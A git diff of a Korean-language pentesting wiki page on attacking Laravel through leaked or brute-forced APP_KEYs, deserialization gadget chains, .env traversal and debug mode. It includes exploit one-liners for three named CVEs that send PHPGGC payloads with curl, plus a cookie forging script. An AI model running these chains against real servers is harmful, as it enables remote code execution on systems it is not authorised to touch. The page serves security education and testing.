diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 0ed27b026..f35ccfb0b 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,13 +4,13 @@ ### Laravel SQLInjection -여기에서 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +여기에서 정보를 읽으세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- ## APP_KEY & Encryption internals (Laravel \u003e=5.6) -Laravel은 내부적으로 HMAC 무결성을 가진 AES-256-CBC (또는 GCM)를 사용합니다 (`Illuminate\\Encryption\\Encrypter`). +Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC(또는 GCM)를 사용합니다(`Illuminate\\Encryption\\Encrypter`). 최종적으로 **클라이언트에 전송되는** 원시 암호문은 **JSON 객체의 Base64**입니다: ```json { @@ -34,7 +34,7 @@ $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to past --- ## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)는 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다: +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다: ```bash # Encrypt a phpggc chain with a known APP_KEY laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" @@ -54,57 +54,67 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt | 프로젝트 | 취약한 싱크 | 가젯 체인 | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화되었을 때 | Laravel/RCE9 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화된 경우 | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` 쿠키 | Laravel/RCE15 | 악용 워크플로우는 항상 다음과 같습니다: -1. `APP_KEY` 획득 (기본 예제, Git 유출, config/.env 유출 또는 무차별 대입) -2. **PHPGGC**로 가젯 생성 -3. `laravel_crypto_killer.py encrypt …` -4. 취약한 매개변수/쿠키를 통해 페이로드 전달 → **RCE** +1. 32바이트 `APP_KEY`를 얻거나 무작위 대입합니다. +2. **PHPGGC**를 사용하여 가젯 체인을 구축합니다 (예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`). +3. 복구된 `APP_KEY`와 함께 **laravel_crypto_killer.py**로 직렬화된 가젯을 암호화합니다. +4. 취약한 `decrypt()` 싱크(라우트 매개변수, 쿠키, 세션 등)에 암호문을 전달하여 **RCE**를 유발합니다. +아래는 위에서 언급한 각 실제 CVE에 대한 전체 공격 경로를 보여주는 간결한 원라이너입니다: +```bash +# Invoice Ninja ≤5 – /route/{hash} +php8.2 phpggc Laravel/RCE13 system id -b -f | \ +./laravel_crypto_killer.py encrypt -k -v - | \ +xargs -I% curl "https://victim/route/%" + +# Snipe-IT ≤6 – XSRF-TOKEN cookie +php7.4 phpggc Laravel/RCE9 system id -b | \ +./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt +curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login + +# Crater – cookie-based session +php8.2 phpggc Laravel/RCE15 system id -b > payload.bin +./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt +curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login +``` --- -## 쿠키 무차별 대입을 통한 대량 APP_KEY 발견 +## Mass APP_KEY discovery via cookie brute-force -모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공공 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. +모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공개 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. Synacktiv(2024-2025)에서 발표한 연구의 주요 발견: * 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k) * 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨** -* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰이 직렬화된 데이터를 직접 포함하고 있습니다. -* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. +* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰은 직렬화된 데이터를 직접 포함합니다. +* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. -개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다. +개인 Go 도구 **nounours**는 AES-CBC/GCM 브루트포스 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다. ---- - -## 참조 -* [Laravel: APP_KEY 유출 분석](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) -* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – PHP 일반 가젯 체인](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 작성 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) ## Laravel Tricks -### 디버깅 모드 +### Debugging mode Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\ 예를 들어 `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -이는 다른 Laravel RCE CVE를 악용하는 데 일반적으로 필요합니다. +이는 일반적으로 다른 Laravel RCE CVE를 악용하는 데 필요합니다. ### .env -Laravel은 쿠키 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, `/../.env` 아래에서 일부 경로 탐색을 통해 접근할 수 있습니다. +Laravel은 쿠키 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이는 다음 경로 탐색을 통해 접근할 수 있습니다: `/../.env` -Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류가 발생하고 활성화될 때 나타남). +Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류가 발생했을 때 Laravel이 이를 찾고 활성화될 때 나타남). Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 재암호화할 수 있습니다: -### 쿠키 복호화 +### Decrypt Cookie ```python import os import json @@ -165,102 +175,24 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ``` ### Laravel Deserialization RCE -취약한 버전: 5.5.40 및 5.6.x에서 5.6.29까지 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +취약한 버전: 5.5.40 및 5.6.x ~ 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) 여기에서 역직렬화 취약성에 대한 정보를 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -다음 링크를 사용하여 테스트하고 악용할 수 있습니다: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 를 사용하여 테스트하고 악용할 수 있습니다.\ 또는 메타스플로잇을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 또 다른 역직렬화: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -### Laravel SQLInjection -여기에서 이에 대한 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) -### Laravel SQLInjection - -여기에서 이에 대한 정보를 읽어보세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) - ---- - -## APP_KEY & Encryption internals (Laravel \u003e=5.6) - -Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC (또는 GCM)를 사용합니다 (`Illuminate\\Encryption\\Encrypter`). -최종적으로 **클라이언트에 전송되는** 원시 암호문은 **JSON 객체의 Base64**입니다: -```json -{ -"iv" : "Base64(random 16-byte IV)", -"value": "Base64(ciphertext)", -"mac" : "HMAC_SHA256(iv||value, APP_KEY)", -"tag" : "" // only used for AEAD ciphers (GCM) -} -``` -`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 `unserialize()`**된 값을 복호화합니다. 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.** - -최소 PoC (프레임워크 ≥9.x): -```php -use Illuminate\Support\Facades\Crypt; - -$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f -$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste -``` -생성된 문자열을 취약한 `decrypt()` 싱크(경로 매개변수, 쿠키, 세션 등)에 주입합니다. - ---- - -## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)는 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다: -```bash -# Encrypt a phpggc chain with a known APP_KEY -laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" - -# Decrypt a captured cookie / token -laravel_crypto_killer.py decrypt -k -v - -# Try a word-list of keys against a token (offline) -laravel_crypto_killer.py bruteforce -v -kf appkeys.txt -``` -스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/tag 필드를 재생성합니다. - ---- - -## 실제 취약한 패턴 - -| 프로젝트 | 취약한 싱크 | 가젯 체인 | -|---------|-----------------|--------------| -| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화된 경우 | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` 쿠키 | Laravel/RCE15 | - -악용 워크플로우는 항상 다음과 같습니다: -1. `APP_KEY` 획득 (기본 예제, Git 유출, config/.env 유출 또는 무차별 대입) -2. **PHPGGC**로 가젯 생성 -3. `laravel_crypto_killer.py encrypt …` -4. 취약한 매개변수/쿠키를 통해 페이로드 전달 → **RCE** - ---- - -## 쿠키 무차별 대입을 통한 대량 APP_KEY 발견 - -모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공공 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. - -Synacktiv(2024-2025)에서 발표한 연구의 주요 발견: -* 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k) -* 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨** -* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰이 직접 직렬화된 데이터를 포함합니다. -* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. - -개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다. - ---- - -## 참고 문헌 -* [Laravel: APP_KEY 유출 분석](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +## References +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – PHP 일반 가젯 체인](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 작성 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}